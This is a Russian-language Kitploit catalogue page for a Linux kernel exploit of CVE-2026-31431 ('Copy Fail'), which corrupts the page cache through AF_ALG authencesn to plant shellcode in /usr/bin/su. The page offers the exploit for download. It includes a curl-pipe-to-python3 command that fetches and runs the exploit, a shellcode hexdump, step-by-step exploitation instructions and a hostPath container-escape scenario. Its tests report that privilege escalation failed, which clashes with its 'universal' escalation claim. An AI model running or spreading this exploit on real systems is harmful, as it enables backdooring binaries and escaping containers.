Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-31431 — Эксплойт для ядра Linux CVE-2026-31431, вызывающий повреждение page cache через манипуляцию authencesn AEAD, нацеленный на повышение привилегий в контейнерах и средах OpenShift. | Kitploit
Инструменты/GitHubGitHub/seanrickerd/cve-2026-31431
Безопасность облачной инфраструктурыПовышение привилегийБезопасность контейнеровФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Эксплойт для ядра Linux CVE-2026-31431, вызывающий повреждение page cache через манипуляцию authencesn AEAD, нацеленный на повышение привилегий в контейнерах и средах OpenShift.

Репозиторий
125185 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431 « Copy Fail » — Уязвимость повреждения кэша страниц

Повреждение кэша страниц ядра Linux через манипуляцию AEAD-механизмом authencesn.

⚠️ ВАЖНО: Обновление статуса эксплуатации (1 мая 2026 года)

После обширного тестирования на нескольких кластерах OpenShift 4.20.16 с ядрами RHEL 9.6:

  • ✅ Повреждение кэша страниц: ПОДТВЕРЖДЕНО — шеллкод размером 160 байт успешно внедрён
  • ✅ Уязвимость ядра: ЭКСПЛУАТИРУЕМА из непривилегированных контейнеров (нулевые capabilities)
  • ❌ Повышение привилегий: НЕ ДОСТИГНУТО — UID остаётся неизменным, несмотря на повреждённый кэш
  • ❌ Выполнение кода: НЕ НАБЛЮДАЕТСЯ — изменённые страницы видны при чтении, но не выполняются
  • ✅ Ограниченный SCC Restricted-v2: ЭФФЕКТИВЕН — предотвращает побег из контейнера, ограничивает радиус поражения

Подробности см. в разделе Комплексные результаты тестирования.


Обзор

CVE-2026-31431 — это уязвимость ядра Linux в криптографической реализации AEAD authencesn, которая позволяет непривилегированным процессам повреждать кэш страниц читаемых файлов через сокеты AF_ALG и манипуляции с системным вызовом splice().

Результаты тестирования: Повреждение кэша страниц работает надёжно, но повышение привилегий НЕ происходит на ядрах RHEL 9.6 в наших тестовых средах.

Оценка CVSS: 7.8 (Высокая)
Затронуты: Версии ядра Linux с поддержкой authencesn (2017–2026)
Публичное раскрытие: 29 апреля 2026 года

Возможности

  • Совместимость с Python 3.9+: Включает обёртку системного вызова splice() через ctypes
  • Переносимость: Работает на любой системе Linux с уязвимым ядром
  • Надёжность: Не требует гонок (race conditions)
  • Чистота: Шеллкод размером 160 байт, детерминированная эксплуатация

Требования

  • Ядро Linux с уязвимой реализацией authencesn (патч до апреля 2026 года)
  • Python 3.9+
  • Доступ непривилегированного пользователя
  • Читаемый setuid-бинарник (по умолчанию: /usr/bin/su)

Использование

Базовое использование```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### Из локального файла```bash
python3 exploit.py
su

Фактическое поведение эксплойта (по результатам тестирования)

Что ПРОИЗОЙДЁТ:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**Проверка кэша страниц (подтверждает повреждение):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

Что НЕ произойдёт (по результатам тестирования):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**Вывод:** Повреждение page cache происходит успешно, но повышение привилегий не удаётся.

## Технические детали

### Уязвимость

Реализация `authencesn` (Authenticated Encryption with Associated Data — Extended Sequence Number) в ядре Linux содержит ошибку в обработке операций на месте (in-place). При обработке операций AEAD, отправляемых через сокет AF_ALG, страница из page cache может попасть в доступный для записи scatterlist назначения ядра.

### Методика эксплуатации

1. **Создать сокет AF_ALG** с `authencesn(hmac(sha256),cbc(aes))`
2. **Настроить параметры AEAD** (ключ, authsize)
3. **Открыть целевой setuid-бинарник** (например, `/usr/bin/su`)
4. **Использовать splice()** для помещения бинарника в page cache
5. **Запустить операцию AEAD на месте**, вызывающую запись в page cache
6. **Записать шеллкод** по 4 байта за раз
7. **Выполнить изменённый бинарник** для получения root

### Шеллкод

Эксплойт использует шеллкод размером 160 байт, который модифицирует `/usr/bin/su` для:
- Пропуска проверки пароля
- Предоставления root-оболочки
- Сохранения нормальной функциональности для непривилегированных пользователей

## Совместимость с Python 3.9

В Python 3.9 и более ранних версиях `os.splice()` отсутствует в стандартной библиотеке. Данный эксплойт включает реализацию на основе ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Это делает эксплойт рабочим на:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04 и т. д.)
  • ✅ Python 3.10+
  • ✅ Любой Python с поддержкой ctypes

Комплексные результаты тестирования

Тестовая среда 1: Кластер OpenShift 4.20.16 (первый тест)

Конфигурация узла:

  • Ядро: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (наиболее ограничивающий)
  • UID: 1000830000 (пространство имён пользователя)
  • Capabilities: 0x0000000000000000 (НОЛЬ)

Результаты теста:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### Тестовая среда 2: Свежий кластер OpenShift (Проверочный тест)

**Кластер:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Конфигурация узла:**
- Ядро: 5.14.0-570.96.1.el9_6.x86_64 (идентично тесту 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (проверено)
- UID: 1000810000 (пространство имён пользователя)
- Capabilities: 0x0000000000000000 (НОЛЬ)

**Результаты теста:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Согласованность: 100% воспроизводимые результаты в независимых кластерах

Тестирование выхода из контейнера

Сценарий A: С томом hostPath (выход из контейнера возможен)```yaml volumes:

  • name: host-usr hostPath: path: /usr
РЕЗУЛЬТАТ: ✅ **Выход из контейнера** — изменяет страничный кэш хоста (устройство 33, inode 4288)

**Сценарий Б: ограниченный SCC версии 2 (без hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Результат: ❌ Побега из контейнера нет — затрагивается только overlay контейнера (отдельный inode)

Критическая находка: доступ к hostPath (а не capabilities) является определяющим фактором для побега из контейнера.

Почему повышение привилегий не срабатывает

Возможные объяснения (требуют дальнейшего исследования):

  1. Пути выполнения чтения и исполнения

    • Повреждение page cache затрагивает операции mmap(PROT_READ)
    • Исполняемые отображения mmap(PROT_EXEC) могут обходить повреждённый кэш
    • Ядро может использовать разные пути кода для исполняемых страниц
  2. Защита памяти

    • Принудительное применение W^X (Write XOR Execute)
    • Проверка исполняемых страниц ядра
    • Проверки целостности кода SELinux/AppArmor
Скачать инструмент